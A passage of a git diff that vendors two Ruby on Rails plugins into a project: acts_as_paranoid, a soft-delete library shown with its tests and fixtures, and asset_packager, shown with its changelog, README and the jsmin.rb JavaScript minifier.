COUNT(*) FROM widgets + # + # Widget.delete_all + # # UPDATE widgets SET deleted_at = '2005-09-17 17:46:36' + # + # Widget.delete_all! + # # DELETE FROM widgets + # + # @widget.destroy + # # UPDATE widgets SET deleted_at = '2005-09-17 17:46:36' WHERE id = 1 + # + # @widget.destroy! + # # DELETE FROM widgets WHERE id = 1 + # + module Paranoid + def self.included(base) # :nodoc: + base.extend ClassMethods + end + + module ClassMethods + def acts_as_paranoid(options = {}) + unless paranoid? # don't let AR call this twice + cattr_accessor :deleted_attribute + self.deleted_attribute = options[:with] || :deleted_at + alias_method :destroy_without_callbacks!, :destroy_without_callbacks + class << self + alias_method :find_every_with_deleted, :find_every + alias_method :calculate_with_deleted, :calculate + alias_method :delete_all!, :delete_all + end + end + include InstanceMethods + end + + def paranoid? + self.included_modules.include?(InstanceMethods) + end + end + + module InstanceMethods #:nodoc: + def self.included(base) # :nodoc: + base.extend ClassMethods + end + + module ClassMethods + def find_with_deleted(*args) + options = args.extract_options! + validate_find_options(options) + set_readonly_option!(options) + options[:with_deleted] = true # yuck! + + case args.first + when :first then find_initial(options) + when :all then find_every(options) + else find_from_ids(args, options) + end + end + + def count_with_deleted(*args) + calculate_with_deleted(:count, *construct_count_options_from_args(*args)) + end + + def count(*args) + with_deleted_scope { count_with_deleted(*args) } + end + + def calculate(*args) + with_deleted_scope { calculate_with_deleted(*args) } + end + + def delete_all(conditions = nil) + self.update_all ["#{self.deleted_attribute} = ?", current_time], conditions + end + + protected + def current_time + default_timezone == :utc ? Time.now.utc : Time.now + end + + def with_deleted_scope(&block) + with_scope({:find => { :conditions => ["#{table_name}.#{deleted_attribute} IS NULL OR #{table_name}.#{deleted_attribute} > ?", current_time] } }, :merge, &block) + end + + private + # all find calls lead here + def find_every(options) + options.delete(:with_deleted) ? + find_every_with_deleted(options) : + with_deleted_scope { find_every_with_deleted(options) } + end + end + + def destroy_without_callbacks + unless new_record? + self.class.update_all self.class.send(:sanitize_sql, ["#{self.class.deleted_attribute} = ?", self.class.send(:current_time)]), ["#{self.class.primary_key} = ?", id] + end + freeze + end + + def destroy_with_callbacks! + return false if callback(:before_destroy) == false + result = destroy_without_callbacks! + callback(:after_destroy) + result + end + + def destroy! + transaction { destroy_with_callbacks! } + end + + def deleted? + !!read_attribute(:deleted_at) + end + end + end + end +end diff --git a/vendor/plugins/acts_as_paranoid/test/database.yml b/vendor/plugins/acts_as_paranoid/test/database.yml new file mode 100644 index 0000000..cb4e790 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/test/database.yml @@ -0,0 +1,18 @@ +sqlite: + :adapter: sqlite + :dbfile: acts_as_paranoid_plugin.sqlite.db +sqlite3: + :adapter: sqlite3 + :dbfile: acts_as_paranoid_plugin.sqlite3.db +postgresql: + :adapter: postgresql + :username: postgres + :password: postgres + :database: acts_as_paranoid_plugin_test + :min_messages: ERROR +mysql: + :adapter: mysql + :host: localhost + :username: rails + :password: + :database: acts_as_paranoid_plugin_test \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/test/fixtures/categories.yml b/vendor/plugins/acts_as_paranoid/test/fixtures/categories.yml new file mode 100644 index 0000000..5d8a341 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/test/fixtures/categories.yml @@ -0,0 +1,19 @@ +category_1: + id: 1 + widget_id: 1 + title: 'category 1' +category_2: + id: 2 + widget_id: 1 + title: 'category 2' + deleted_at: '2005-01-01 00:00:00' +category_3: + id: 3 + widget_id: 2 + title: 'category 3' + deleted_at: '2005-01-01 00:00:00' +category_4: + id: 4 + widget_id: 2 + title: 'category 4' + deleted_at: '2005-01-01 00:00:00' \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/test/fixtures/categories_widgets.yml b/vendor/plugins/acts_as_paranoid/test/fixtures/categories_widgets.yml new file mode 100644 index 0000000..fcd7eab --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/test/fixtures/categories_widgets.yml @@ -0,0 +1,12 @@ +cw_1: + category_id: 1 + widget_id: 1 +cw_2: + category_id: 2 + widget_id: 1 +cw_3: + category_id: 3 + widget_id: 2 +cw_4: + category_id: 4 + widget_id: 2 \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/test/fixtures/widgets.yml b/vendor/plugins/acts_as_paranoid/test/fixtures/widgets.yml new file mode 100644 index 0000000..5a8b933 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/test/fixtures/widgets.yml @@ -0,0 +1,8 @@ +widget_1: + id: 1 + title: 'widget 1' +widget_2: + id: 2 + title: 'deleted widget 2' + deleted_at: '2005-01-01 00:00:00' + category_id: 3 diff --git a/vendor/plugins/acts_as_paranoid/test/paranoid_test.rb b/vendor/plugins/acts_as_paranoid/test/paranoid_test.rb new file mode 100644 index 0000000..f154b25 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/test/paranoid_test.rb @@ -0,0 +1,217 @@ +require File.join(File.dirname(__FILE__), 'test_helper') + +class Widget < ActiveRecord::Base + acts_as_paranoid + has_many :categories, :dependent => :destroy + has_and_belongs_to_many :habtm_categories, :class_name => 'Category' + has_one :category + belongs_to :parent_category, :class_name => 'Category' +end + +class Category < ActiveRecord::Base + belongs_to :widget + belongs_to :any_widget, :class_name => 'Widget', :foreign_key => 'widget_id', :with_deleted => true + acts_as_paranoid + + def self.search(name, options = {}) + find :all, options.merge(:conditions => ['LOWER(title) LIKE ?', "%#{name.to_s.downcase}%"]) + end + + def self.search_with_deleted(name, options = {}) + find_with_deleted :all, options.merge(:conditions => ['LOWER(title) LIKE ?', "%#{name.to_s.downcase}%"]) + end +end + +class NonParanoidAndroid < ActiveRecord::Base +end + +class ParanoidTest < Test::Unit::TestCase + fixtures :widgets, :categories, :categories_widgets + + def test_should_count_with_deleted + assert_equal 1, Widget.count + assert_equal 2, Widget.count_with_deleted + assert_equal 2, Widget.calculate_with_deleted(:count, :all) + end + + def test_should_set_deleted_at + assert_equal 1, Widget.count + assert_equal 1, Category.count + widgets(:widget_1).destroy + assert_equal 0, Widget.count + assert_equal 0, Category.count + assert_equal 2, Widget.calculate_with_deleted(:count, :all) + assert_equal 4, Category.calculate_with_deleted(:count, :all) + end + + def test_should_destroy + assert_equal 1, Widget.count + assert_equal 1, Category.count + widgets(:widget_1).destroy! + assert_equal 0, Widget.count + assert_equal 0, Category.count + assert_equal 1, Widget.calculate_with_deleted(:count, :all) + # Category doesn't get destroyed because the dependent before_destroy callback uses #destroy + assert_equal 4, Category.calculate_with_deleted(:count, :all) + end + + def test_should_delete_all + assert_equal 1, Widget.count + assert_equal 2, Widget.calculate_with_deleted(:count, :all) + assert_equal 1, Category.count + Widget.delete_all + assert_equal 0, Widget.count + # delete_all doesn't call #destroy, so the dependent callback never fires + assert_equal 1, Category.count + assert_equal 2, Widget.calculate_with_deleted(:count, :all) + end + + def test_should_delete_all_with_conditions + assert_equal 1, Widget.count + assert_equal 2, Widget.calculate_with_deleted(:count, :all) + Widget.delete_all("id < 3") + assert_equal 0, Widget.count + assert_equal 2, Widget.calculate_with_deleted(:count, :all) + end + + def test_should_delete_all2 + assert_equal 1, Category.count + assert_equal 4, Category.calculate_with_deleted(:count, :all) + Category.delete_all! + assert_equal 0, Category.count + assert_equal 0, Category.calculate_with_deleted(:count, :all) + end + + def test_should_delete_all_with_conditions2 + assert_equal 1, Category.count + assert_equal 4, Category.calculate_with_deleted(:count, :all) + Category.delete_all!("id < 3") + assert_equal 0, Category.count + assert_equal 2, Category.calculate_with_deleted(:count, :all) + end + + def test_should_not_count_deleted + assert_equal 1, Widget.count + assert_equal 1, Widget.count(:all, :conditions => ['title=?', 'widget 1']) + assert_equal 2, Widget.calculate_with_deleted(:count, :all) + end + + def test_should_not_find_deleted + assert_equal [widgets(:widget_1)], Widget.find(:all) + assert_equal [1, 2], Widget.find_with_deleted(:all, :order => 'id').collect { |w| w.id } + end + + def test_should_not_find_deleted_has_many_associations + assert_equal 1, widgets(:widget_1).categories.size + assert_equal [categories(:category_1)], widgets(:widget_1).categories + end + + def test_should_not_find_deleted_habtm_associations + assert_equal 1, widgets(:widget_1).habtm_categories.size + assert_equal [categories(:category_1)], widgets(:widget_1).habtm_categories + end + + def test_should_not_find_deleted_belongs_to_associations + assert_nil Category.find_with_deleted(3).widget + end + + def test_should_find_belongs_to_assocation_with_deleted + assert_equal Widget.find_with_deleted(2), Category.find_with_deleted(3).any_widget + end + + def test_should_find_first_with_deleted + assert_equal widgets(:widget_1), Widget.find(:first) + assert_equal 2, Widget.find_with_deleted(:first, :order => 'id desc').id + end + + def test_should_find_single_id + assert Widget.find(1) + assert Widget.find_with_deleted(2) + assert_raises(ActiveRecord::RecordNotFound) { Widget.find(2) } + end + + def test_should_find_multiple_ids + assert_equal [1,2], Widget.find_with_deleted(1,2).sort_by { |w| w.id }.collect { |w| w.id } + assert_equal [1,2], Widget.find_with_deleted([1,2]).sort_by { |w| w.id }.collect { |w| w.id } + assert_raises(ActiveRecord::RecordNotFound) { Widget.find(1,2) } + end + + def test_should_ignore_multiple_includes + Widget.class_eval { acts_as_paranoid } + assert Widget.find(1) + end + + def test_should_not_override_scopes_when_counting + assert_equal 1, Widget.send(:with_scope, :find => { :conditions => "title = 'widget 1'" }) { Widget.count } + assert_equal 0, Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.count } + assert_equal 1, Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.calculate_with_deleted(:count, :all) } + end + + def test_should_not_override_scopes_when_finding + assert_equal [1], Widget.send(:with_scope, :find => { :conditions => "title = 'widget 1'" }) { Widget.find(:all) }.ids + assert_equal [], Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.find(:all) }.ids + assert_equal [2], Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) { Widget.find_with_deleted(:all) }.ids + end + + def test_should_allow_multiple_scoped_calls_when_finding + Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) do + assert_equal [2], Widget.find_with_deleted(:all).ids + assert_equal [2], Widget.find_with_deleted(:all).ids, "clobbers the constrain on the unmodified find" + assert_equal [], Widget.find(:all).ids + assert_equal [], Widget.find(:all).ids, 'clobbers the constrain on a paranoid find' + end + end + + def test_should_allow_multiple_scoped_calls_when_counting + Widget.send(:with_scope, :find => { :conditions => "title = 'deleted widget 2'" }) do + assert_equal 1, Widget.calculate_with_deleted(:count, :all) + assert_equal 1, Widget.calculate_with_deleted(:count, :all), "clobbers the constrain on the unmodified find" + assert_equal 0, Widget.count + assert_equal 0, Widget.count, 'clobbers the constrain on a paranoid find' + end + end + + def test_should_give_paranoid_status + assert Widget.paranoid? + assert !NonParanoidAndroid.paranoid? + end + + def test_should_give_record_status + assert_equal false, Widget.find(1).deleted? + Widget.find(1).destroy + assert Widget.find_with_deleted(1).deleted? + end + + def test_should_find_deleted_has_many_assocations_on_deleted_records_by_default + w = Widget.find_with_deleted 2 + assert_equal 2, w.categories.find_with_deleted(:all).length + assert_equal 2, w.categories.find_with_deleted(:all).size + end + + def test_should_find_deleted_habtm_assocations_on_deleted_records_by_default + w = Widget.find_with_deleted 2 + assert_equal 2, w.habtm_categories.find_with_deleted(:all).length + assert_equal 2, w.habtm_categories.find_with_deleted(:all).size + end + + def test_dynamic_finders + assert Widget.find_by_id(1) + assert_nil Widget.find_by_id(2) + end + + def test_custom_finder_methods + w = Widget.find_with_deleted(:all).inject({}) { |all, w| all.merge(w.id => w) } + assert_equal [1], Category.search('c').ids + assert_equal [1,2,3,4], Category.search_with_deleted('c', :order => 'id').ids + assert_equal [1], widgets(:widget_1).categories.search('c').collect(&:id) + assert_equal [1,2], widgets(:widget_1).categories.search_with_deleted('c').ids + assert_equal [], w[2].categories.search('c').ids + assert_equal [3,4], w[2].categories.search_with_deleted('c').ids + end +end + +class Array + def ids + collect &:id + end +end diff --git a/vendor/plugins/acts_as_paranoid/test/schema.rb b/vendor/plugins/acts_as_paranoid/test/schema.rb new file mode 100644 index 0000000..c40ee70 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/test/schema.rb @@ -0,0 +1,20 @@ +ActiveRecord::Schema.define(:version => 1) do + + create_table :widgets, :force => true do |t| + t.column :title, :string, :limit => 50 + t.column :category_id, :integer + t.column :deleted_at, :timestamp + end + + create_table :categories, :force => true do |t| + t.column :widget_id, :integer + t.column :title, :string, :limit => 50 + t.column :deleted_at, :timestamp + end + + create_table :categories_widgets, :force => true, :id => false do |t| + t.column :category_id, :integer + t.column :widget_id, :integer + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_paranoid/test/test_helper.rb b/vendor/plugins/acts_as_paranoid/test/test_helper.rb new file mode 100644 index 0000000..6dfc905 --- /dev/null +++ b/vendor/plugins/acts_as_paranoid/test/test_helper.rb @@ -0,0 +1,33 @@ +$:.unshift(File.dirname(__FILE__) + '/../lib') + +require 'test/unit' +require File.expand_path(File.join(File.dirname(__FILE__), '../../../../config/environment.rb')) +require 'rubygems' +require 'active_record/fixtures' + +config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml')) +ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log") +ActiveRecord::Base.establish_connection(config[ENV['DB'] || 'sqlite']) + +load(File.dirname(__FILE__) + "/schema.rb") + +Test::Unit::TestCase.fixture_path = File.dirname(__FILE__) + "/fixtures/" +$LOAD_PATH.unshift(Test::Unit::TestCase.fixture_path) + +class Test::Unit::TestCase #:nodoc: + def create_fixtures(*table_names) + if block_given? + Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) { yield } + else + Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) + end + end + + # Turn off transactional fixtures if you're working with MyISAM tables in MySQL + self.use_transactional_fixtures = true + + # Instantiated fixtures are slow, but give you @david where you otherwise would need people(:david) + self.use_instantiated_fixtures = false + + # Add more helper methods to be used by all tests here... +end diff --git a/vendor/plugins/asset_packager/CHANGELOG b/vendor/plugins/asset_packager/CHANGELOG new file mode 100644 index 0000000..40f1f27 --- /dev/null +++ b/vendor/plugins/asset_packager/CHANGELOG @@ -0,0 +1,122 @@ +------------------------------------------------------------------------ +r52 | sbecker | 2007-11-04 01:38:21 -0400 (Sun, 04 Nov 2007) | 3 lines + +* Allow configuration of which environments the helpers should merge scripts with the Synthesis::AssetPackage.merge_environments variable. +* Refactored tests so they can all run together, and not depend on what the RAILS_ENV constant is. +* Only add file extension if it was explicitly passed in, fixes other helpers in rails. +------------------------------------------------------------------------ +r51 | sbecker | 2007-10-26 16:24:48 -0400 (Fri, 26 Oct 2007) | 1 line + +* Updated jsmin.rb to latest version from 2007-07-20 +------------------------------------------------------------------------ +r50 | sbecker | 2007-10-23 23:16:07 -0400 (Tue, 23 Oct 2007) | 1 line + +Updated CHANGELOG + +------------------------------------------------------------------------ +r49 | sbecker | 2007-10-23 23:13:27 -0400 (Tue, 23 Oct 2007) | 1 line + +* Finally committed the subdirectory patch. (Thanks James Coglan!) +------------------------------------------------------------------------ +r48 | sbecker | 2007-10-15 15:10:43 -0400 (Mon, 15 Oct 2007) | 1 line + +* Speed up rake tasks and remove rails environment dependencies +------------------------------------------------------------------------ +r43 | sbecker | 2007-07-02 15:30:29 -0400 (Mon, 02 Jul 2007) | 1 line + +* Updated the docs regarding testing. +------------------------------------------------------------------------ +r42 | sbecker | 2007-07-02 15:27:00 -0400 (Mon, 02 Jul 2007) | 1 line + +* For production helper test, build packages once - on first setup. +------------------------------------------------------------------------ +r41 | sbecker | 2007-07-02 15:14:13 -0400 (Mon, 02 Jul 2007) | 1 line + +* Put build_all in test setup and delete_all in test teardown so all tests will pass the on first run of test suite. +------------------------------------------------------------------------ +r40 | sbecker | 2007-07-02 14:55:28 -0400 (Mon, 02 Jul 2007) | 1 line + +* Fix quotes, add contact info +------------------------------------------------------------------------ +r39 | sbecker | 2007-07-02 14:53:52 -0400 (Mon, 02 Jul 2007) | 1 line + +* Add note on how to run the tests for asset packager. +------------------------------------------------------------------------ +r38 | sbecker | 2007-01-25 15:36:42 -0500 (Thu, 25 Jan 2007) | 1 line + +added CHANGELOG w/ subversion log entries +------------------------------------------------------------------------ +r37 | sbecker | 2007-01-25 15:34:39 -0500 (Thu, 25 Jan 2007) | 1 line + +updated jsmin with new version from 2007-01-23 +------------------------------------------------------------------------ +r35 | sbecker | 2007-01-15 19:22:16 -0500 (Mon, 15 Jan 2007) | 1 line + +require synthesis/asset_package in rake tasks, as Rails 1.2 seems to necessitate +------------------------------------------------------------------------ +r34 | sbecker | 2007-01-05 12:22:09 -0500 (Fri, 05 Jan 2007) | 1 line + +do a require before including in action view, because when running migrations, the plugin lib files don't automatically get required, causing the include to error out +------------------------------------------------------------------------ +r33 | sbecker | 2006-12-23 02:03:41 -0500 (Sat, 23 Dec 2006) | 1 line + +updating readme with various tweaks +------------------------------------------------------------------------ +r32 | sbecker | 2006-12-23 02:03:12 -0500 (Sat, 23 Dec 2006) | 1 line + +updating readme with various tweaks +------------------------------------------------------------------------ +r31 | sbecker | 2006-12-23 01:52:25 -0500 (Sat, 23 Dec 2006) | 1 line + +updated readme to show how to use different media for stylesheets +------------------------------------------------------------------------ +r28 | sbecker | 2006-11-27 21:02:14 -0500 (Mon, 27 Nov 2006) | 1 line + +updated compute_public_path, added check for images +------------------------------------------------------------------------ +r27 | sbecker | 2006-11-10 18:28:29 -0500 (Fri, 10 Nov 2006) | 1 line + +tolerate extra periods in source asset names. fixed subversion revision checking to be file specific, instead of repository specific. +------------------------------------------------------------------------ +r26 | sbecker | 2006-06-24 17:04:27 -0400 (Sat, 24 Jun 2006) | 1 line + +convert asset_packages_yml var to a class var +------------------------------------------------------------------------ +r25 | sbecker | 2006-06-24 12:37:47 -0400 (Sat, 24 Jun 2006) | 1 line + +Added ability to include assets by package name. In development, include all uncompressed asset files. In production, include the single compressed asset. +------------------------------------------------------------------------ +r24 | sbecker | 2006-06-19 21:57:23 -0400 (Mon, 19 Jun 2006) | 1 line + +Updates to README and about.yml +------------------------------------------------------------------------ +r23 | sbecker | 2006-06-19 14:55:39 -0400 (Mon, 19 Jun 2006) | 2 lines + +Modifying about.yml and README + +------------------------------------------------------------------------ +r21 | sbecker | 2006-06-19 12:18:32 -0400 (Mon, 19 Jun 2006) | 2 lines + +added "formerly known as MergeJS" + +------------------------------------------------------------------------ +r20 | sbecker | 2006-06-19 12:14:46 -0400 (Mon, 19 Jun 2006) | 2 lines + +Updating docs + +------------------------------------------------------------------------ +r19 | sbecker | 2006-06-19 11:26:08 -0400 (Mon, 19 Jun 2006) | 2 lines + +removing compiled test assets from subversion + +------------------------------------------------------------------------ +r18 | sbecker | 2006-06-19 11:19:59 -0400 (Mon, 19 Jun 2006) | 2 lines + +Initial import. + +------------------------------------------------------------------------ +r17 | sbecker | 2006-06-19 11:18:56 -0400 (Mon, 19 Jun 2006) | 2 lines + +Creating directory. + +------------------------------------------------------------------------ diff --git a/vendor/plugins/asset_packager/README b/vendor/plugins/asset_packager/README new file mode 100644 index 0000000..cf8e743 --- /dev/null +++ b/vendor/plugins/asset_packager/README @@ -0,0 +1,173 @@ += AssetPackager + +JavaScript and CSS Asset Compression for Production Rails Apps + +== Description + +When it comes time to deploy your new web application, instead of +sending down a dozen JavaScript and CSS files full of formatting +and comments, this Rails plugin makes it simple to merge and +compress JavaScript and CSS down into one or more files, increasing +speed and saving bandwidth. + +When in development, it allows you to use your original versions +and retain formatting and comments for readability and debugging. + +Because not all browsers will dependably cache JavaScript and CSS +files with query string parameters, AssetPackager writes a timestamp +or subversion revision stamp (if available) into the merged file names. +Therefore files are correctly cached by the browser AND your users +always get the latest version when you re-deploy. + +This code is released under the MIT license (like Ruby). Youre free +to rip it up, enhance it, etc. And if you make any enhancements, +Id like to know so I can add them back in. Thanks! + +* Formerly known as MergeJS. + +== Credit + +This Rails Plugin was inspired by Cal Henderson's article +"Serving JavaScript Fast" on Vitamin: +http://www.thinkvitamin.com/features/webapps/serving-javascript-fast + +It also uses the Ruby JavaScript Minifier created by +Douglas Crockford. +http://www.crockford.com/javascript/jsmin.html + +== Key Features + +* Merges and compresses JavaScript and CSS when running in production. +* Uses uncompressed originals when running in development. +* Handles caching correctly. (No querystring parameters - filename timestamps) +* Versions each package individually. Updates to files in one won't re-trigger downloading the others. +* Uses subversion revision numbers instead of timestamps if within a subversion controlled directory. +* Guarantees new version will get downloaded the next time you deploy. + +== Components + +* Rake Task for merging and compressing JavaScript and CSS files. +* Helper functions for including these JavaScript and CSS files in your views. +* YAML configuration file for mapping JavaScript and CSS files to merged versions. +* Rake Task for auto-generating the YAML file from your existing JavaScript files. + +== How to Use: + +1. Download and install the plugin: + ./script/plugin install http://sbecker.net/shared/plugins/asset_packager + +2. Run the rake task "asset:packager:create_yml" to generate the /config/asset_packages.yml +file the first time. You will need to reorder files under 'base' so dependencies are loaded +in correct order. Feel free to rename or create new file packages. + +IMPORTANT: JavaScript files can break once compressed if each statement doesn't end with a semi-colon. +The minifier puts multiple statements on one line, so if the semi-colon is missing, the statement may no +longer makes sense and cause a syntax error. + +Example from a fresh rails app after running the rake task. (Stylesheets is blank because a +default rails app has no stylesheets yet.): + +--- +javascripts: +- base: + - prototype + - effects + - dragdrop + - controls + - application +stylesheets: +- base: [] + +Example with multiple merged files: + +--- +javascripts: +- base: + - prototype + - effects + - controls + - dragdrop + - application +- secondary: + - foo + - bar +stylesheets: +- base: + - screen + - header +- secondary: + - foo + - bar + +3. Run the rake task "asset:packager:build_all" to generate the compressed, merged versions +for each package. Whenever you rearrange the yaml file, you'll need to run this task again. +Merging and compressing is expensive, so this is something we want to do once, not every time +your app starts. Thats why its a rake task. + +4. Use the helper functions whenever including these files in your application. See below for examples. + +5. Potential warning: css compressor function currently removes CSS comments. This might blow +away some CSS hackery. To disable comment removal, comment out /lib/synthesis/asset_package.rb line 176. + +== JavaScript Examples + +Example call: + <%= javascript_include_merged 'prototype', 'effects', 'controls', 'dragdrop', 'application', 'foo', 'bar' %> + +In development, this generates: + + + + + + + + +In production, this generates: + + + +Now supports symbols and :defaults as well: + <%= javascript_include_merged :defaults %> + <%= javascript_include_merged :foo, :bar %> + +== Stylesheet Examples + +Example call: + <%= stylesheet_link_merged 'screen', 'header' %> + +In development, this generates: + + + +In production this generates: + + +== Different CSS Media + +All options for stylesheet_link_tag still work, so if you want to specify a different media type: + <%= stylesheet_link_merged :secondary, 'media' => 'print' %> + +== Running the tests + +So you want to run the tests eh? Ok, then listen: + +This plugin has a full suite of tests. But since they +depend on rails, it has to be run in the context of a +rails app, in the vendor/plugins directory. Observe: + +> rails newtestapp +> cd newtestapp +> ./script/plugin install http://sbecker.net/shared/plugins/asset_packager +> cd vendor/plugins/asset_packager/ +> rake # all tests pass + +== License +Copyright (c) 2006 Scott Becker - http://synthesis.sbecker.net +Contact Email: becker.scott@gmail.com + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/vendor/plugins/asset_packager/Rakefile b/vendor/plugins/asset_packager/Rakefile new file mode 100644 index 0000000..ca20585 --- /dev/null +++ b/vendor/plugins/asset_packager/Rakefile @@ -0,0 +1,22 @@ +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +desc 'Default: run unit tests.' +task :default => :test + +desc 'Test the asset_packager plugin.' +Rake::TestTask.new(:test) do |t| + t.libs << 'lib' + t.pattern = 'test/**/*_test.rb' + t.verbose = true +end + +desc 'Generate documentation for the asset_packager plugin.' +Rake::RDocTask.new(:rdoc) do |rdoc| + rdoc.rdoc_dir = 'rdoc' + rdoc.title = 'AssetPackager' + rdoc.options << '--line-numbers' << '--inline-source' + rdoc.rdoc_files.include('README') + rdoc.rdoc_files.include('lib/**/*.rb') +end diff --git a/vendor/plugins/asset_packager/about.yml b/vendor/plugins/asset_packager/about.yml new file mode 100644 index 0000000..8860039 --- /dev/null +++ b/vendor/plugins/asset_packager/about.yml @@ -0,0 +1,8 @@ +author: Scott Becker +name: AssetPackager +summary: JavaScript and CSS Asset Compression for Production Rails Apps +homepage: http://synthesis.sbecker.net/pages/asset_packager +plugin: http://sbecker.net/shared/plugins/asset_packager +license: MIT +version: 0.2 +rails_version: 1.1.2+ diff --git a/vendor/plugins/asset_packager/init.rb b/vendor/plugins/asset_packager/init.rb new file mode 100644 index 0000000..eebf127 --- /dev/null +++ b/vendor/plugins/asset_packager/init.rb @@ -0,0 +1,2 @@ +require 'synthesis/asset_package_helper' +ActionView::Base.send :include, Synthesis::AssetPackageHelper \ No newline at end of file diff --git a/vendor/plugins/asset_packager/install.rb b/vendor/plugins/asset_packager/install.rb new file mode 100644 index 0000000..f7732d3 --- /dev/null +++ b/vendor/plugins/asset_packager/install.rb @@ -0,0 +1 @@ +# Install hook code here diff --git a/vendor/plugins/asset_packager/lib/jsmin.rb b/vendor/plugins/asset_packager/lib/jsmin.rb new file mode 100644 index 0000000..00fd804 --- /dev/null +++ b/vendor/plugins/asset_packager/lib/jsmin.rb @@ -0,0 +1,205 @@ +#!/usr/bin/ruby +# jsmin.rb 2007-07-20 +# Author: Uladzislau Latynski +# This work is a translation from C to Ruby of jsmin.c published by +# Douglas Crockford. Permission is hereby granted to use the Ruby +# version under the same conditions as the jsmin.c on which it is +# based. +# +# /* jsmin.c +# 2003-04-21 +# +# Copyright (c) 2002 Douglas Crockford (www.crockford.com) +# +# Permission is hereby granted, free of charge, to any person obtaining a copy of +# this software and associated documentation files (the "Software"), to deal in +# the Software without restriction, including without limitation the rights to +# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +# of the Software, and to permit persons to whom the Software is furnished to do +# so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# The Software shall be used for Good, not Evil. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +EOF = -1 +$theA = "" +$theB = "" + +# isAlphanum -- return true if the character is a letter, digit, underscore, +# dollar sign, or non-ASCII character +def isAlphanum(c) + return false if !c || c == EOF + return ((c >= 'a' && c <= 'z') || (c >= '0' && c <= '9') || + (c >= 'A' && c <= 'Z') || c == '_' || c == '$' || + c == '\\' || c[0] > 126) +end + +# get -- return the next character from stdin. Watch out for lookahead. If +# the character is a control character, translate it to a space or linefeed. +def get() + c = $stdin.getc + return EOF if(!c) + c = c.chr + return c if (c >= " " || c == "\n" || c.unpack("c") == EOF) + return "\n" if (c == "\r") + return " " +end + +# Get the next character without getting it. +def peek() + lookaheadChar = $stdin.getc + $stdin.ungetc(lookaheadChar) + return lookaheadChar.chr +end + +# mynext -- get the next character, excluding comments. +# peek() is used to see if a '/' is followed by a '/' or '*'. +def mynext() + c = get + if (c == "/") + if(peek == "/") + while(true) + c = get + if (c <= "\n") + return c + end + end + end + if(peek == "*") + get + while(true) + case get + when "*" + if (peek == "/") + get + return " " + end + when EOF + raise "Unterminated comment" + end + end + end + end + return c +end + + +# action -- do something! What you do is determined by the argument: 1 +# Output A. Copy B to A. Get the next B. 2 Copy B to A. Get the next B. +# (Delete A). 3 Get the next B. (Delete B). action treats a string as a +# single character. Wow! action recognizes a regular expression if it is +# preceded by ( or , or =. +def action(a) + if(a==1) + $stdout.write $theA + end + if(a==1 || a==2) + $theA = $theB + if ($theA == "\'" || $theA == "\"") + while (true) + $stdout.write $theA + $theA = get + break if ($theA == $theB) + raise "Unterminated string literal" if ($theA <= "\n") + if ($theA == "\\") + $stdout.write $theA + $theA = get + end + end + end + end + if(a==1 || a==2 || a==3) + $theB = mynext + if ($theB == "/" && ($theA == "(" || $theA == "," || $theA == "=" || + $theA == ":" || $theA == "[" || $theA == "!" || + $theA == "&" || $theA == "|" || $theA == "?" || + $theA == "{" || $theA == "}" || $theA == ";" || + $theA == "\n")) + $stdout.write $theA + $stdout.write $theB + while (true) + $theA = get + if ($theA == "/") + break + elsif ($theA == "\\") + $stdout.write $theA + $theA = get + elsif ($theA <= "\n") + raise "Unterminated RegExp Literal" + end + $stdout.write $theA + end + $theB = mynext + end + end +end + +# jsmin -- Copy the input to the output, deleting the characters which are +# insignificant to JavaScript. Comments will be removed. Tabs will be +# replaced with spaces. Carriage returns will be replaced with linefeeds. +# Most spaces and linefeeds will be removed. +def jsmin + $theA = "\n" + action(3) + while 